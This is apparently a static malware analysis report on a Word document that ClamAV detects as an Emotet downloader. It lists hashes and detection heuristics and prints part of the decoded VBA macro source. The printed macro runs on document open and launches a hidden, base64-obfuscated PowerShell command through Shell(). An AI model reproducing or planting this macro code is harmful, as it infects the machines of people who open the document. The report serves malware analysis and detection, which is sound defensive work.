Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c8c7b1afda310de…

MALICIOUS

Office (OLE)

101.2 KB Created: 2018-05-24 14:06:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 495ea0186c542b93cbe61e566ec0efc7 SHA-1: aab3ef339c94390b40d4ac4ede9804f95c1874bf SHA-256: 8c8c7b1afda310ded0feb65e70f48ebc1baedeba6c8cb6a5f8a2b1632f978d75
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7012579-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7012579-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13268 bytes
SHA-256: 367685e79fd368abc0edc92f3373ab4e17f029cdb5d1a81b79c63aeb419c8269
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "uidtZjtuEvuHL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function UGPrUi()
On Error Resume Next
LIZJT = fszSMs - Cos(UiYKt) * 1 - Chr(53999) / 62881 - ChrB(rmmir)
MTjht = 2817
zCaMh = rrDCMV - Cos(zaGFBF) * 1 - Chr(38728) / 15561 - ChrB(WnbbV)
ZTlSq = 26524
UGPrUi = uWhHqd + ItBRskvULqu + QjAHmSzhT + hWTvlJKk + AdUFLjSvUOM + CfDBBA + lMHquMnhC
jwwMu = UokZMA - Cos(lMbfo) * 1 - Chr(64088) / 84807 - ChrB(fnkFMX)
kQtid = 54228
End Function
Sub Autoopen()
On Error Resume Next
IGpLin = mNObFh - Cos(sFiJV) * 1 - Chr(87583) / 2737 - ChrB(NGhRC)
TfiWn = 83927
NVBBswfbQK (UGPrUi)
UpdCE = sZWiHq - Cos(sLPVI) * 1 - Chr(66644) / 85756 - ChrB(tjdNka)
ijERq = 17022
End Sub
Function NVBBswfbQK(UvKjoI)
On Error Resume Next
QAGRu = krbZb - Cos(MIPMOF) * 1 - Chr(98171) / 11822 - ChrB(GzpTYZ)
pZqzwU = 90035
OrokN = HEmnO - Cos(STqLr) * 1 - Chr(5206) / 92892 - ChrB(ARzWi)
CBibBr = 25398
zjdzjSIuw = Shell(TKAuaZDAG + Chr(vbKeyP) + JIXsVtFRbT + UvKjoI, vbHide)
wWROt = wvCjJ - Cos(YVjiI) * 1 - Chr(87339) / 46824 - ChrB(OwtRBT)
FVKlXw = 34298
End Function


Attribute VB_Name = "TucJWLFOQM"
Function uWhHqd()
On Error Resume Next
DBCoP = InFaz - Cos(OANld) * 1 - Chr(57892) / 49672 - ChrB(ljswwo)
ELFAHZ = 73196
wBmzXzVMw = "owersHe" + "LL -Wi" + "nDowsTyle hi" + "dden -" + "e KAAo" + "ACgAIgB" + "7ADIAMwB9AHsAO" + "AAxAH0"
dJVMi = Omwvp - Cos(CXdOD) * 1 - Chr(43325) / 21856 - ChrB(WIFrb)
DbAap = 58032
liGVOj = "AewA1" + "ADcAfQB7A" + "DMANQB" + "9AHsANQA" + "1AH0Aew" + "AxADEAfQB" + "7ADEANQB9AHsA" + "NQAxAH0A"
cjcHRv = WuvBH - Cos(kjirw) * 1 - Chr(70447) / 26351 - ChrB(BVDik)
VmmVF = 22280
iznwjErNf = "ewA4ADAAfQB" + "7ADEANgB" + "9AHsAM" + "gAyAH0Ae" + "wA2ADkAfQB7ADQ" + "AMwB9AHsAN" + "gA3AH0AewA1ADYA" + "fQB7ADYA"
aoAGlb = CcMEk - Cos(jWtIi) * 1 - Chr(10166) / 31688 - ChrB(aOYdh)
ljIavv = 56194
UtAKsVsD = "NgB9AHsANQA0AH" + "0AewA" + "xADcA" + "fQB7ADQANwB9AHs" + "AMwA4AH0AewA" + "4AH0AewAxADkAf"
shkKJ = KYIzu - Cos(awtdrA) * 1 - Chr(90592) / 53468 - ChrB(ZcdEqT)
UmIod = 50198
zmkCBU = "QB7ADIANQB" + "9AHsAMw" + "AzAH0AewAyA" + "DgAfQB7ADIANwB9" + "AHsAMQB9AHsANwB" + "9AHsANAAwAH0A" + "ewAzAH0AewA2"
LYUvHF = GZjDK - Cos(qfivAB) * 1 - Chr(20145) / 37591 - ChrB(HFTpr)
VqFzA = 40278
PwQEw = "ADIAfQB7ADMAM" + "gB9AHsANgA1" + "AH0AewA0ADIAfQB" + "7ADkAfQB7" + "ADcAMgB9AHsANw" + "A4AH0AewAzADEA"
EXEnWw = DuAfh - Cos(pDNocP) * 1 - Chr(19582) / 12698 - ChrB(OcSOw)
idEJRI = 50553
izTSthQlGLV = "fQB7ADEAMA" + "B9AHsAOAA1AH0Ae" + "wA1ADMAfQB7A" + "DcAMAB9AHsAOAA0"
qNfNA = NEnIO - Cos(SdRXk) * 1 - Chr(20702) / 51673 - ChrB(IcVIwi)
QwVPT = 28737
NUjnKwBp = "AH0AewAy" + "ADEAfQB" + "7ADcANQB9AH" + "sANwA5" + "AH0AewA4ADYA"
XbzCJE = JoKzj - Cos(EMjZG) * 1 - Chr(65391) / 73684 - ChrB(NrWOR)
wHSsvA = 50228
KLWdv = "fQB7A" + "DQANgB9AHsAM" + "wA2AH0AewA2" + "ADAAfQB7ADgAM" + "gB9AHsA" + "MwA5AH0Ae" + "wAwAH0A" + "ewAxAD" + "gAfQB7"
qZiBW = wnKIPQ - Cos(EQwIl) * 1 - Chr(55053) / 78182 - ChrB(janrW)
CWREi = 85249
zZXuvFFTR = "ADUAMAB9AHsAMg" + "A0AH0AewA" + "4ADMAf" + "QB7ADcAMQB9AHsA" + "MQAzAH0AewA3ADQ"
uWhHqd = wBmzXzVMw + liGVOj + iznwjErNf + UtAKsVsD + zmkCBU + PwQEw + izTSthQlGLV + NUjnKwBp + KLWdv + zZXuvFFTR
End Function
Function ItBRskvULqu()
On Error Resume Next
VGqFLB = ahOwB - Cos(srVjJ) * 1 - Chr(45119) / 72045 - ChrB(HzvJzd)
RtEjXR = 65785
SjVuH = "AfQB7ADYANAB" + "9AHsANA" + "A1AH0AewA" + "0ADEAfQB7ADMANA" + "B9AHsANAA0AH" + "0AewA1ADgAfQB7" + "ADUAfQB7ADIA" + "OQB9AHs" + "ANQA5AH0AewA1A"
GCaaj = BMoqFO - Cos(AhuLG) * 1 - Chr(4770) / 28395 - ChrB(vwLYI)
oJSdA = 20072
jmzqaohFc = "DIAfQ" + "B7ADEAMgB9AH" + "sANAB9AHsA" + "NgAzAH0Ae" + "wA2ADEA"
PhjwBN = nGSuP - Cos(QLJVQO) * 1 - Chr(37396) / 4326 - ChrB(GOCba)
CWMFD = 55583
VwsSmibAB = "fQB7AD" + "YAOAB9AHsANAA" + "4AH0AewA3ADM" + "AfQB7A" + "DMAMAB9AHsAMg" + "A2AH0AewAyADA" + "AfQB7A" + "DcANgB9AHsAMg
... (truncated)

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